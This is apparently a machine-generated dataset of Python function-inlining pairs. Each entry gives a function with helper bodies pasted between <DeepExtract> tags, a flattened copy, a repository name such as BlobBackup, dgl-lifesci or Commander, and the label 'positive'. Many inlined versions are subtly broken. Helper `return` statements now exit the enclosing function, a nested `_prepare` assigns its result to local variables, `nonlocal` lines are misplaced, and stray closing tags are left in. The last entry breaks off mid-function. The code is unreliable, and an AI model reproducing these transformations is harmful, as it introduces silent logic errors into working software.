if self._should_skip_path(path, skipped_paths, exclude_rules, include_hidden):
continue
pool.submit(self._add_file_to_snapshot, master_key, salt, skipped_paths, snapshot_obj, pool, blob_set, path)
</DeepExtract>
<DeepExtract>
self.logger.debug('Repo._finish_pool()')
pool.shutdown()
</DeepExtract>
if self.cancel:
self.logger.info('Stopping')
return (None, None)
self.logger.info(f'Processed {pretty_bytes(self.backed_up_size)} ({self.backed_up_size:,} bytes)')
self.logger.info(f'Uploaded {pretty_bytes(self.uploaded_size)} ({self.uploaded_size:,} bytes)')
<DeepExtract>
self.logger.debug('Repo._save_snapshot()')
encrypted_snapshot_json = compress_encrypt_obj(snapshot_obj, master_key, self.compression_level)
if snapshot_id is None:
snapshot_id = get_current_time_string()
snapshot_path = f'snapshots/{snapshot_id}'
self.backend.write(snapshot_path, encrypted_snapshot_json)
snapshot_id = snapshot_id
</DeepExtract>
self.logger.info(f'Saved snapshot {snapshot_id}')
self.blob_set = blob_set
return (snapshot_id, skipped_paths)
|
def backup(self, password, selected_paths, exclude_rules=None, include_hidden=False):
if exclude_rules is None:
exclude_rules = set()
exclude_rules.add(f'{BLOBBACKUP_DIR}*')
self.logger.info('----------------------------------------------')
time.sleep(0.5)
self.logger.info('Backup started')
self.callback('Backing up')
self.logger.debug('Repo._get_blob_set()')
if self.cancel:
blob_set = set()
blob_set = set()
for blob_path in self.backend.ls('blobs'):
if self.cancel:
blob_set = blob_set
blob_set.add(basename(blob_path))
blob_set = blob_set
self.logger.info('Downloaded metadata')
self.logger.debug(f'Repo._init_backup({str(selected_paths)})')
self.backed_up_size = 0
self.uploaded_size = 0
self.backup_start_time = time.time()
pool = BoundedThreadPoolExecutor(self.max_thread_queue_size, self.thread_count)
snapshot_obj = self._get_partial_snapshot_obj(selected_paths)
master_key = self._get_master_key(password)
salt = self.backend.read('keys/salt')
(snapshot_obj, skipped_paths, pool, master_key, salt) = (snapshot_obj, [], pool, master_key, salt)
for selected_path in selected_paths:
self.logger.info(f'Processing {selected_path}')
if self._should_skip_path(selected_path, skipped_paths, exclude_rules, include_hidden):
continue
if os.path.isfile(selected_path):
if self.cancel:
return
pool.submit(self._add_file_to_snapshot, master_key, salt, skipped_paths, snapshot_obj, pool, blob_set, selected_path)
continue
for (root, dirs, files) in os.walk(selected_path):
if self._should_skip_path(root, skipped_paths, exclude_rules, include_hidden):
continue
for d in dirs:
if self.cancel:
return
path = os.path.join(root, d)
if self._should_skip_path(path, skipped_paths, exclude_rules, include_hidden):
continue
self._add_dir_to_snapshot(snapshot_obj, path)
for f in files:
if self.cancel:
return
path = os.path.join(root, f)
if self._should_skip_path(path, skipped_paths, exclude_rules, include_hidden):
continue
pool.submit(self._add_file_to_snapshot, master_key, salt, skipped_paths, snapshot_obj, pool, blob_set, path)
self.logger.debug('Repo._finish_pool()')
pool.shutdown()
if self.cancel:
self.logger.info('Stopping')
return (None, None)
self.logger.info(f'Processed {pretty_bytes(self.backed_up_size)} ({self.backed_up_size:,} bytes)')
self.logger.info(f'Uploaded {pretty_bytes(self.uploaded_size)} ({self.uploaded_size:,} bytes)')
self.logger.debug('Repo._save_snapshot()')
encrypted_snapshot_json = compress_encrypt_obj(snapshot_obj, master_key, self.compression_level)
if snapshot_id is None:
snapshot_id = get_current_time_string()
snapshot_path = f'snapshots/{snapshot_id}'
self.backend.write(snapshot_path, encrypted_snapshot_json)
snapshot_id = snapshot_id
self.logger.info(f'Saved snapshot {snapshot_id}')
self.blob_set = blob_set
return (snapshot_id, skipped_paths)
|
BlobBackup
|
positive
|
def _setup(self):
"""
1. Instantiate an MDP environment for molecule generation
2. Download the dataset, which is a file of SMILES
3. Create subsets for training and validation
"""
if self.dataset == 'ChEMBL':
self.atom_types = ['O', 'Cl', 'C', 'S', 'F', 'Br', 'N']
self.bond_types = [Chem.rdchem.BondType.SINGLE, Chem.rdchem.BondType.DOUBLE, Chem.rdchem.BondType.TRIPLE]
elif self.dataset == 'ZINC':
self.atom_types = ['Br', 'S', 'C', 'P', 'N', 'O', 'F', 'Cl', 'I']
self.bond_types = [Chem.rdchem.BondType.SINGLE, Chem.rdchem.BondType.DOUBLE, Chem.rdchem.BondType.TRIPLE]
else:
path_to_atom_and_bond_types = '_'.join([self.dataset, 'atom_and_bond_types.pkl'])
with open(path_to_atom_and_bond_types, 'rb') as f:
type_info = pickle.load(f)
self.atom_types = type_info['atom_types']
self.bond_types = type_info['bond_types']
self.env = MoleculeEnv(self.atom_types, self.bond_types)
<DeepExtract>
dataset_prefix = '_'.join([self.dataset, 'DGMG'])
</DeepExtract>
if 'train' in self.modes:
fname = '_'.join([dataset_prefix, 'train.txt'])
<DeepExtract>
if self.dataset not in ['ChEMBL', 'ZINC']:
return
data_path = fname
download(_get_dgl_url(os.path.join('dataset', fname)), path=data_path)
</DeepExtract>
<DeepExtract>
with open(fname, 'r') as f:
smiles = f.read().splitlines()
smiles = smiles
</DeepExtract>
<DeepExtract>
subset_size = len(smiles) // self.n_subsets
self.train_set = Subset(smiles[self.subset_id * subset_size:(self.subset_id + 1) * subset_size], self.order, self.env)
</DeepExtract>
if 'val' in self.modes:
fname = '_'.join([dataset_prefix, 'val.txt'])
<DeepExtract>
if self.dataset not in ['ChEMBL', 'ZINC']:
return
data_path = fname
download(_get_dgl_url(os.path.join('dataset', fname)), path=data_path)
</DeepExtract>
<DeepExtract>
with open(fname, 'r') as f:
smiles = f.read().splitlines()
smiles = smiles
</DeepExtract>
<DeepExtract>
subset_size = len(smiles) // self.n_subsets
self.val_set = Subset(smiles[self.subset_id * subset_size:(self.subset_id + 1) * subset_size], self.order, self.env)
</DeepExtract>
|
def _setup(self):
"""
1. Instantiate an MDP environment for molecule generation
2. Download the dataset, which is a file of SMILES
3. Create subsets for training and validation
"""
if self.dataset == 'ChEMBL':
self.atom_types = ['O', 'Cl', 'C', 'S', 'F', 'Br', 'N']
self.bond_types = [Chem.rdchem.BondType.SINGLE, Chem.rdchem.BondType.DOUBLE, Chem.rdchem.BondType.TRIPLE]
elif self.dataset == 'ZINC':
self.atom_types = ['Br', 'S', 'C', 'P', 'N', 'O', 'F', 'Cl', 'I']
self.bond_types = [Chem.rdchem.BondType.SINGLE, Chem.rdchem.BondType.DOUBLE, Chem.rdchem.BondType.TRIPLE]
else:
path_to_atom_and_bond_types = '_'.join([self.dataset, 'atom_and_bond_types.pkl'])
with open(path_to_atom_and_bond_types, 'rb') as f:
type_info = pickle.load(f)
self.atom_types = type_info['atom_types']
self.bond_types = type_info['bond_types']
self.env = MoleculeEnv(self.atom_types, self.bond_types)
dataset_prefix = '_'.join([self.dataset, 'DGMG'])
if 'train' in self.modes:
fname = '_'.join([dataset_prefix, 'train.txt'])
if self.dataset not in ['ChEMBL', 'ZINC']:
return
data_path = fname
download(_get_dgl_url(os.path.join('dataset', fname)), path=data_path)
with open(fname, 'r') as f:
smiles = f.read().splitlines()
smiles = smiles
subset_size = len(smiles) // self.n_subsets
self.train_set = Subset(smiles[self.subset_id * subset_size:(self.subset_id + 1) * subset_size], self.order, self.env)
if 'val' in self.modes:
fname = '_'.join([dataset_prefix, 'val.txt'])
if self.dataset not in ['ChEMBL', 'ZINC']:
return
data_path = fname
download(_get_dgl_url(os.path.join('dataset', fname)), path=data_path)
with open(fname, 'r') as f:
smiles = f.read().splitlines()
smiles = smiles
subset_size = len(smiles) // self.n_subsets
self.val_set = Subset(smiles[self.subset_id * subset_size:(self.subset_id + 1) * subset_size], self.order, self.env)
</DeepExtract>
|
dgl-lifesci
|
positive
|
def query_update_edges_by_ids(self, edge_type: EdgeType) -> str:
<DeepExtract>
collection = f'{self.name}_{edge_type}'
</DeepExtract>
return f'\n FOR a IN {collection}\n FILTER a._key in @ids\n RETURN {{_key: a._key, _from: a._from, _to: a._to}}\n '
|
def query_update_edges_by_ids(self, edge_type: EdgeType) -> str:
collection = f'{self.name}_{edge_type}'
return f'\n FOR a IN {collection}\n FILTER a._key in @ids\n RETURN {{_key: a._key, _from: a._from, _to: a._to}}\n '
|
cloudkeeper
|
positive
|
@property
def encoding(self):
"""Text encoding of document or ``None``.
:returns: :class:`str` or ``None``
"""
if not self._encoding:
<DeepExtract>
headers = self.raw.info()
encoding = None
if headers.getparam('charset'):
encoding = headers.getparam('charset')
for param in headers.getplist():
if param.startswith('charset='):
encoding = param[8:]
break
if not self.stream:
if self.mimetype == 'text/html':
m = re.search('<meta.+charset=["\']{0,1}(.+?)["\'].*>', self.content)
if m:
encoding = m.group(1)
elif (self.mimetype.startswith('application/') or self.mimetype.startswith('text/')) and 'xml' in self.mimetype:
m = re.search('<?xml.+encoding=["\'](.+?)["\'][^>]*\\?>', self.content)
if m:
encoding = m.group(1)
if self.mimetype == 'application/json' and (not encoding):
encoding = 'utf-8'
elif self.mimetype == 'application/xml' and (not encoding):
encoding = 'utf-8'
if encoding:
encoding = encoding.lower()
self._encoding = encoding
</DeepExtract>
return self._encoding
|
@property
def encoding(self):
"""Text encoding of document or ``None``.
:returns: :class:`str` or ``None``
"""
if not self._encoding:
headers = self.raw.info()
encoding = None
if headers.getparam('charset'):
encoding = headers.getparam('charset')
for param in headers.getplist():
if param.startswith('charset='):
encoding = param[8:]
break
if not self.stream:
if self.mimetype == 'text/html':
m = re.search('<meta.+charset=["\']{0,1}(.+?)["\'].*>', self.content)
if m:
encoding = m.group(1)
elif (self.mimetype.startswith('application/') or self.mimetype.startswith('text/')) and 'xml' in self.mimetype:
m = re.search('<?xml.+encoding=["\'](.+?)["\'][^>]*\\?>', self.content)
if m:
encoding = m.group(1)
if self.mimetype == 'application/json' and (not encoding):
encoding = 'utf-8'
elif self.mimetype == 'application/xml' and (not encoding):
encoding = 'utf-8'
if encoding:
encoding = encoding.lower()
self._encoding = encoding
return self._encoding
|
alfred2-hasher
|
positive
|
def test_distinct_count_agg_with_invalid_type(self):
<DeepExtract>
try:
self.client_test.search(self.table_name, self.index_name, SearchQuery(TermQuery('d', 0.1), limit=100, get_total_count=True, aggs=[DistinctCount('t')]), ColumnsToGet(return_type=ColumnReturnType.NONE))
self.assertTrue(False)
except OTSServiceError as e:
self.assert_equal(400, e.get_http_status())
self.assert_equal('OTSParameterInvalid', e.get_error_code())
</DeepExtract>
<DeepExtract>
try:
self.client_test.search(self.table_name, self.index_name, SearchQuery(TermQuery('d', 0.1), limit=100, get_total_count=True, aggs=[DistinctCount('n.nt')]), ColumnsToGet(return_type=ColumnReturnType.NONE))
self.assertTrue(False)
except OTSServiceError as e:
self.assert_equal(400, e.get_http_status())
self.assert_equal('OTSParameterInvalid', e.get_error_code())
</DeepExtract>
|
def test_distinct_count_agg_with_invalid_type(self):
try:
self.client_test.search(self.table_name, self.index_name, SearchQuery(TermQuery('d', 0.1), limit=100, get_total_count=True, aggs=[DistinctCount('t')]), ColumnsToGet(return_type=ColumnReturnType.NONE))
self.assertTrue(False)
except OTSServiceError as e:
self.assert_equal(400, e.get_http_status())
self.assert_equal('OTSParameterInvalid', e.get_error_code())
try:
self.client_test.search(self.table_name, self.index_name, SearchQuery(TermQuery('d', 0.1), limit=100, get_total_count=True, aggs=[DistinctCount('n.nt')]), ColumnsToGet(return_type=ColumnReturnType.NONE))
self.assertTrue(False)
except OTSServiceError as e:
self.assert_equal(400, e.get_http_status())
self.assert_equal('OTSParameterInvalid', e.get_error_code())
</DeepExtract>
|
aliyun-tablestore-python-sdk
|
positive
|
def __init__(self, vocab_file, do_lower_case=True, max_len=None, do_basic_tokenize=True, basic_only=False, never_split=('[UNK]', '[SEP]', '[PAD]', '[CLS]', '[MASK]')):
"""Constructs a BertTokenizer.
Args:
vocab_file: Path to a one-wordpiece-per-line vocabulary file
do_lower_case: Whether to lower case the input
Only has an effect when do_wordpiece_only=False
do_basic_tokenize: Whether to do basic tokenization before wordpiece.
max_len: An artificial maximum length to truncate tokenized sequences to;
Effective maximum length is always the minimum of this
value (if specified) and the underlying BERT model's
sequence length.
never_split: List of tokens which will never be split during tokenization.
Only has an effect when do_wordpiece_only=False
"""
if not os.path.isfile(vocab_file):
raise ValueError("Can't find a vocabulary file at path '{}'. To load the vocabulary from a Google pretrained model use `tokenizer = BertTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`".format(vocab_file))
<DeepExtract>
vocab = collections.OrderedDict()
index = 0
with open(vocab_file, 'r', encoding='utf-8') as reader:
while True:
token = reader.readline()
if not token:
break
token = token.strip()
vocab[token] = index
index += 1
self.vocab = vocab
</DeepExtract>
self.ids_to_tokens = collections.OrderedDict([(ids, tok) for (tok, ids) in self.vocab.items()])
self.do_basic_tokenize = do_basic_tokenize
if do_basic_tokenize:
self.basic_tokenizer = BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split)
self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab)
self.max_len = max_len if max_len is not None else int(1000000000000.0)
self.basic_only = basic_only
|
def __init__(self, vocab_file, do_lower_case=True, max_len=None, do_basic_tokenize=True, basic_only=False, never_split=('[UNK]', '[SEP]', '[PAD]', '[CLS]', '[MASK]')):
"""Constructs a BertTokenizer.
Args:
vocab_file: Path to a one-wordpiece-per-line vocabulary file
do_lower_case: Whether to lower case the input
Only has an effect when do_wordpiece_only=False
do_basic_tokenize: Whether to do basic tokenization before wordpiece.
max_len: An artificial maximum length to truncate tokenized sequences to;
Effective maximum length is always the minimum of this
value (if specified) and the underlying BERT model's
sequence length.
never_split: List of tokens which will never be split during tokenization.
Only has an effect when do_wordpiece_only=False
"""
if not os.path.isfile(vocab_file):
raise ValueError("Can't find a vocabulary file at path '{}'. To load the vocabulary from a Google pretrained model use `tokenizer = BertTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`".format(vocab_file))
vocab = collections.OrderedDict()
index = 0
with open(vocab_file, 'r', encoding='utf-8') as reader:
while True:
token = reader.readline()
if not token:
break
token = token.strip()
vocab[token] = index
index += 1
self.vocab = vocab
self.ids_to_tokens = collections.OrderedDict([(ids, tok) for (tok, ids) in self.vocab.items()])
self.do_basic_tokenize = do_basic_tokenize
if do_basic_tokenize:
self.basic_tokenizer = BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split)
self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab)
self.max_len = max_len if max_len is not None else int(1000000000000.0)
self.basic_only = basic_only
|
BERT-EMD
|
positive
|
def train(self):
self.loss.step()
epoch = self.scheduler.last_epoch + 1
learning_rate = self.scheduler.get_lr()[0]
idx_scale = self.args.scale
if not self.converging:
stage = 'Searching Stage'
else:
stage = 'Finetuning Stage (Searching Epoch {})'.format(self.epochs_searching)
self.ckp.write_log('\n[Epoch {}]\tLearning rate: {:.2e}\t{}'.format(epoch, Decimal(learning_rate), stage))
self.loss.start_log()
self.model.train()
(timer_data, timer_model) = (utility.timer(), utility.timer())
for (batch, (lr, hr, _)) in enumerate(self.loader_train):
<DeepExtract>
device = torch.device('cpu' if self.args.cpu else 'cuda')
def _prepare(tensor):
if self.args.precision == 'half':
tensor = tensor.half()
(lr, hr) = tensor.to(device)
(lr, hr) = [_prepare(_l) for _l in [lr, hr]]
</DeepExtract>
timer_data.hold()
timer_model.tic()
self.optimizer.zero_grad()
sr = self.model(idx_scale, lr)
loss = self.loss(sr, hr)
if loss.item() < self.args.skip_threshold * self.error_last:
loss.backward()
self.optimizer.step()
if not self.converging:
self.model.get_model().proximal_operator(learning_rate)
if (batch + 1) % self.args.compression_check_frequency == 0:
self.model.get_model().set_parameters()
self.flops_prune = get_flops(self.model.get_model())
self.flops_compression_ratio = self.flops_prune / self.flops
self.params_prune = get_parameters(self.model.get_model())
self.params_compression_ratio = self.params_prune / self.params
self.flops_ratio_log.append(self.flops_compression_ratio)
self.params_ratio_log.append(self.params_compression_ratio)
if self.terminate():
break
if (batch + 1) % 1000 == 0:
self.model.get_model().latent_vector_distribution(epoch, batch + 1, self.ckp.dir)
self.model.get_model().per_layer_compression_ratio(epoch, batch + 1, self.ckp.dir)
else:
print('Skip this batch {}! (Loss: {}) (Threshold: {})'.format(batch + 1, loss.item(), self.args.skip_threshold * self.error_last))
timer_model.hold()
if (batch + 1) % self.args.print_every == 0:
self.ckp.write_log('[{}/{}]\t{}\t{:.3f}+{:.3f}s\tFlops Ratio: {:.2f}% = {:.4f} G / {:.4f} G\tParams Ratio: {:.2f}% = {:.2f} k / {:.2f} k'.format((batch + 1) * self.args.batch_size, len(self.loader_train.dataset), self.loss.display_loss(batch), timer_model.release(), timer_data.release(), self.flops_compression_ratio * 100, self.flops_prune / 10.0 ** 9, self.flops / 10.0 ** 9, self.params_compression_ratio * 100, self.params_prune / 10.0 ** 3, self.params / 10.0 ** 3))
timer_data.tic()
self.loss.end_log(len(self.loader_train))
self.error_last = self.loss.log[-1, -1]
self.scheduler.step()
|
def train(self):
self.loss.step()
epoch = self.scheduler.last_epoch + 1
learning_rate = self.scheduler.get_lr()[0]
idx_scale = self.args.scale
if not self.converging:
stage = 'Searching Stage'
else:
stage = 'Finetuning Stage (Searching Epoch {})'.format(self.epochs_searching)
self.ckp.write_log('\n[Epoch {}]\tLearning rate: {:.2e}\t{}'.format(epoch, Decimal(learning_rate), stage))
self.loss.start_log()
self.model.train()
(timer_data, timer_model) = (utility.timer(), utility.timer())
for (batch, (lr, hr, _)) in enumerate(self.loader_train):
device = torch.device('cpu' if self.args.cpu else 'cuda')
def _prepare(tensor):
if self.args.precision == 'half':
tensor = tensor.half()
(lr, hr) = tensor.to(device)
(lr, hr) = [_prepare(_l) for _l in [lr, hr]]
timer_data.hold()
timer_model.tic()
self.optimizer.zero_grad()
sr = self.model(idx_scale, lr)
loss = self.loss(sr, hr)
if loss.item() < self.args.skip_threshold * self.error_last:
loss.backward()
self.optimizer.step()
if not self.converging:
self.model.get_model().proximal_operator(learning_rate)
if (batch + 1) % self.args.compression_check_frequency == 0:
self.model.get_model().set_parameters()
self.flops_prune = get_flops(self.model.get_model())
self.flops_compression_ratio = self.flops_prune / self.flops
self.params_prune = get_parameters(self.model.get_model())
self.params_compression_ratio = self.params_prune / self.params
self.flops_ratio_log.append(self.flops_compression_ratio)
self.params_ratio_log.append(self.params_compression_ratio)
if self.terminate():
break
if (batch + 1) % 1000 == 0:
self.model.get_model().latent_vector_distribution(epoch, batch + 1, self.ckp.dir)
self.model.get_model().per_layer_compression_ratio(epoch, batch + 1, self.ckp.dir)
else:
print('Skip this batch {}! (Loss: {}) (Threshold: {})'.format(batch + 1, loss.item(), self.args.skip_threshold * self.error_last))
timer_model.hold()
if (batch + 1) % self.args.print_every == 0:
self.ckp.write_log('[{}/{}]\t{}\t{:.3f}+{:.3f}s\tFlops Ratio: {:.2f}% = {:.4f} G / {:.4f} G\tParams Ratio: {:.2f}% = {:.2f} k / {:.2f} k'.format((batch + 1) * self.args.batch_size, len(self.loader_train.dataset), self.loss.display_loss(batch), timer_model.release(), timer_data.release(), self.flops_compression_ratio * 100, self.flops_prune / 10.0 ** 9, self.flops / 10.0 ** 9, self.params_compression_ratio * 100, self.params_prune / 10.0 ** 3, self.params / 10.0 ** 3))
timer_data.tic()
self.loss.end_log(len(self.loader_train))
self.error_last = self.loss.log[-1, -1]
self.scheduler.step()
|
dhp
|
positive
|
@override_rest_registration_settings({'REGISTER_VERIFICATION_ENABLED': False, 'REGISTER_EMAIL_VERIFICATION_ENABLED': False, 'RESET_PASSWORD_VERIFICATION_ENABLED': False})
def test_ok_when_minimal_setup():
<DeepExtract>
app_configs = apps.app_configs
errors = []
all_checks = registry.get_checks(False)
rest_registration_checks = [check for check in all_checks if check.__module__.startswith('rest_registration.')]
for check in rest_registration_checks:
errors.extend(check(app_configs))
errors = errors
</DeepExtract>
<DeepExtract>
error_ids = sorted((e.id for e in errors))
expected_error_ids = sorted((code.get_full_code_id() for code in []))
msg = '\n\nList of errors:\n'
for error in errors:
msg += '- {error}\n'.format(error=error)
msg += ' does not match the codes: '
if []:
msg += ', '.join((str(e) for e in []))
else:
msg += '(empty list)'
assert error_ids == expected_error_ids, msg
</DeepExtract>
|
@override_rest_registration_settings({'REGISTER_VERIFICATION_ENABLED': False, 'REGISTER_EMAIL_VERIFICATION_ENABLED': False, 'RESET_PASSWORD_VERIFICATION_ENABLED': False})
def test_ok_when_minimal_setup():
app_configs = apps.app_configs
errors = []
all_checks = registry.get_checks(False)
rest_registration_checks = [check for check in all_checks if check.__module__.startswith('rest_registration.')]
for check in rest_registration_checks:
errors.extend(check(app_configs))
errors = errors
error_ids = sorted((e.id for e in errors))
expected_error_ids = sorted((code.get_full_code_id() for code in []))
msg = '\n\nList of errors:\n'
for error in errors:
msg += '- {error}\n'.format(error=error)
msg += ' does not match the codes: '
if []:
msg += ', '.join((str(e) for e in []))
else:
msg += '(empty list)'
assert error_ids == expected_error_ids, msg
</DeepExtract>
|
django-rest-registration
|
positive
|
def yubikey_authenticate(request):
auth_func = None
evt = threading.Event()
response = None
if 'publicKeyCredentialRequestOptions' in request:
origin = ''
options = request['publicKeyCredentialRequestOptions']
if 'extensions' in options:
extensions = options['extensions']
origin = extensions.get('appid') or ''
credentials = options.get('allowCredentials') or []
for c in credentials:
if isinstance(c.get('id'), str):
c['id'] = utils.base64_url_decode(c['id'])
rq_options = PublicKeyCredentialRequestOptions(utils.base64_url_decode(options['challenge']), rp_id=options['rpId'], user_verification='discouraged', allow_credentials=credentials)
if WindowsClient.is_available():
client = WindowsClient(origin, verify=verify_rp_id_none)
else:
dev = next(CtapHidDevice.list_devices(), None)
if not dev:
logging.warning('No Security Key detected')
return
client = Fido2Client(dev, origin, verify=verify_rp_id_none)
def auth_func():
nonlocal response
nonlocal rq_options
attempt = 0
while attempt < 2:
attempt += 1
try:
rs = client.get_assertion(rq_options, event=evt)
response = rs.get_response(0)
break
except ClientError as err:
if isinstance(err.cause, CtapError) and attempt == 1:
if err.cause.code == CtapError.ERR.NO_CREDENTIALS:
print('\n\nKeeper Security stopped supporting U2F security keys starting February 2022.\nIf you registered your security key prior to this date please re-register it within the Web Vault.\nFor information on using security keys with Keeper see the documentation: \nhttps://docs.keeper.io/enterprise-guide/two-factor-authentication#security-keys-fido-webauthn\nCommander will use the fallback security key authentication method.\n\nTo use your Yubikey with Commander, please touch the flashing Security key one more time.\n')
rq_options = PublicKeyCredentialRequestOptions(utils.base64_url_decode(options['challenge']), rp_id=origin, user_verification='discouraged', allow_credentials=credentials)
continue
raise err
else:
logging.warning('Invalid Security Key request')
return
prompt_session = None
def func():
nonlocal prompt_session
nonlocal evt
try:
time.sleep(0.1)
<DeepExtract>
nonlocal response
nonlocal rq_options
attempt = 0
while attempt < 2:
attempt += 1
try:
rs = client.get_assertion(rq_options, event=evt)
response = rs.get_response(0)
break
except ClientError as err:
if isinstance(err.cause, CtapError) and attempt == 1:
if err.cause.code == CtapError.ERR.NO_CREDENTIALS:
print('\n\nKeeper Security stopped supporting U2F security keys starting February 2022.\nIf you registered your security key prior to this date please re-register it within the Web Vault.\nFor information on using security keys with Keeper see the documentation: \nhttps://docs.keeper.io/enterprise-guide/two-factor-authentication#security-keys-fido-webauthn\nCommander will use the fallback security key authentication method.\n\nTo use your Yubikey with Commander, please touch the flashing Security key one more time.\n')
rq_options = PublicKeyCredentialRequestOptions(utils.base64_url_decode(options['challenge']), rp_id=origin, user_verification='discouraged', allow_credentials=credentials)
continue
raise err
</DeepExtract>
except:
pass
if prompt_session:
evt = None
prompt_session.app.exit()
elif evt:
print('\npress Enter to resume...')
th = threading.Thread(target=func)
th.start()
try:
prompt = 'Touch the flashing Security key to authenticate or press Enter to resume with the primary two factor authentication...'
if os.isatty(0) and os.isatty(1):
prompt_session = PromptSession(multiline=False, complete_while_typing=False)
prompt_session.prompt(prompt)
prompt_session = None
else:
input(prompt)
except KeyboardInterrupt:
prompt_session = None
if evt:
evt.set()
evt = None
th.join()
return response
|
def yubikey_authenticate(request):
auth_func = None
evt = threading.Event()
response = None
if 'publicKeyCredentialRequestOptions' in request:
origin = ''
options = request['publicKeyCredentialRequestOptions']
if 'extensions' in options:
extensions = options['extensions']
origin = extensions.get('appid') or ''
credentials = options.get('allowCredentials') or []
for c in credentials:
if isinstance(c.get('id'), str):
c['id'] = utils.base64_url_decode(c['id'])
rq_options = PublicKeyCredentialRequestOptions(utils.base64_url_decode(options['challenge']), rp_id=options['rpId'], user_verification='discouraged', allow_credentials=credentials)
if WindowsClient.is_available():
client = WindowsClient(origin, verify=verify_rp_id_none)
else:
dev = next(CtapHidDevice.list_devices(), None)
if not dev:
logging.warning('No Security Key detected')
return
client = Fido2Client(dev, origin, verify=verify_rp_id_none)
def auth_func():
nonlocal response
nonlocal rq_options
attempt = 0
while attempt < 2:
attempt += 1
try:
rs = client.get_assertion(rq_options, event=evt)
response = rs.get_response(0)
break
except ClientError as err:
if isinstance(err.cause, CtapError) and attempt == 1:
if err.cause.code == CtapError.ERR.NO_CREDENTIALS:
print('\n\nKeeper Security stopped supporting U2F security keys starting February 2022.\nIf you registered your security key prior to this date please re-register it within the Web Vault.\nFor information on using security keys with Keeper see the documentation: \nhttps://docs.keeper.io/enterprise-guide/two-factor-authentication#security-keys-fido-webauthn\nCommander will use the fallback security key authentication method.\n\nTo use your Yubikey with Commander, please touch the flashing Security key one more time.\n')
rq_options = PublicKeyCredentialRequestOptions(utils.base64_url_decode(options['challenge']), rp_id=origin, user_verification='discouraged', allow_credentials=credentials)
continue
raise err
else:
logging.warning('Invalid Security Key request')
return
prompt_session = None
def func():
nonlocal prompt_session
nonlocal evt
try:
time.sleep(0.1)
nonlocal response
nonlocal rq_options
attempt = 0
while attempt < 2:
attempt += 1
try:
rs = client.get_assertion(rq_options, event=evt)
response = rs.get_response(0)
break
except ClientError as err:
if isinstance(err.cause, CtapError) and attempt == 1:
if err.cause.code == CtapError.ERR.NO_CREDENTIALS:
print('\n\nKeeper Security stopped supporting U2F security keys starting February 2022.\nIf you registered your security key prior to this date please re-register it within the Web Vault.\nFor information on using security keys with Keeper see the documentation: \nhttps://docs.keeper.io/enterprise-guide/two-factor-authentication#security-keys-fido-webauthn\nCommander will use the fallback security key authentication method.\n\nTo use your Yubikey with Commander, please touch the flashing Security key one more time.\n')
rq_options = PublicKeyCredentialRequestOptions(utils.base64_url_decode(options['challenge']), rp_id=origin, user_verification='discouraged', allow_credentials=credentials)
continue
raise err
except:
pass
if prompt_session:
evt = None
prompt_session.app.exit()
elif evt:
print('\npress Enter to resume...')
th = threading.Thread(target=func)
th.start()
try:
prompt = 'Touch the flashing Security key to authenticate or press Enter to resume with the primary two factor authentication...'
if os.isatty(0) and os.isatty(1):
prompt_session = PromptSession(multiline=False, complete_while_typing=False)
prompt_session.prompt(prompt)
prompt_session = None
else:
input(prompt)
except KeyboardInterrupt:
prompt_session = None
if evt:
evt.set()
evt = None
th.join()
return response
|
Commander
|
positive
|
def deposit(self, *args, **kwargs):
<DeepExtract>
if not self.has['deposit']:
raise NotImplementedError('{}: method not implemented: {}'.format(self.id, 'deposit'))
</DeepExtract>
raise NotImplementedError('BacktestExchange does not support method deposit')
|
def deposit(self, *args, **kwargs):
if not self.has['deposit']:
raise NotImplementedError('{}: method not implemented: {}'.format(self.id, 'deposit'))
raise NotImplementedError('BacktestExchange does not support method deposit')
|
btrccts
|
positive
|
def get_prev_curr_CP_production_rule(arg_clauses, clause_index, parse_dict):
if clause_index == 0:
return ['%s|%s' % ('NULL', rule) for rule in get_curr_production_rule(arg_clauses, clause_index, parse_dict)]
<DeepExtract>
DocID = arg_clauses.DocID
sent_index = arg_clauses.sent_index
curr_clause_indices = arg_clauses.clauses[clause_index][0]
subtrees = []
parse_tree = parse_dict[DocID]['sentences'][sent_index]['parsetree'].strip()
syntax_tree = Syntax_tree(parse_tree)
if syntax_tree.tree != None:
clause_leaves = set([syntax_tree.get_leaf_node_by_token_index(index) for index in curr_clause_indices])
no_need = []
for node in syntax_tree.tree.traverse(strategy='levelorder'):
if node not in no_need:
if set(node.get_leaves()) <= clause_leaves:
subtrees.append(node)
no_need.extend(node.get_descendants())
production_rule = []
for tree in subtrees:
for node in tree.traverse(strategy='levelorder'):
if not node.is_leaf():
rule = node.name + '-->' + ' '.join([child.name for child in node.get_children()])
production_rule.append(rule)
curr_production_rule = production_rule
</DeepExtract>
<DeepExtract>
DocID = arg_clauses.DocID
sent_index = arg_clauses.sent_index
curr_clause_indices = arg_clauses.clauses[clause_index - 1][0]
subtrees = []
parse_tree = parse_dict[DocID]['sentences'][sent_index]['parsetree'].strip()
syntax_tree = Syntax_tree(parse_tree)
if syntax_tree.tree != None:
clause_leaves = set([syntax_tree.get_leaf_node_by_token_index(index) for index in curr_clause_indices])
no_need = []
for node in syntax_tree.tree.traverse(strategy='levelorder'):
if node not in no_need:
if set(node.get_leaves()) <= clause_leaves:
subtrees.append(node)
no_need.extend(node.get_descendants())
production_rule = []
for tree in subtrees:
for node in tree.traverse(strategy='levelorder'):
if not node.is_leaf():
rule = node.name + '-->' + ' '.join([child.name for child in node.get_children()])
production_rule.append(rule)
prev_production_rule = production_rule
</DeepExtract>
CP_production_rule = []
for curr_rule in curr_production_rule:
for prev_rule in prev_production_rule:
CP_production_rule.append('%s|%s' % (prev_rule, curr_rule))
return CP_production_rule
|
def get_prev_curr_CP_production_rule(arg_clauses, clause_index, parse_dict):
if clause_index == 0:
return ['%s|%s' % ('NULL', rule) for rule in get_curr_production_rule(arg_clauses, clause_index, parse_dict)]
DocID = arg_clauses.DocID
sent_index = arg_clauses.sent_index
curr_clause_indices = arg_clauses.clauses[clause_index][0]
subtrees = []
parse_tree = parse_dict[DocID]['sentences'][sent_index]['parsetree'].strip()
syntax_tree = Syntax_tree(parse_tree)
if syntax_tree.tree != None:
clause_leaves = set([syntax_tree.get_leaf_node_by_token_index(index) for index in curr_clause_indices])
no_need = []
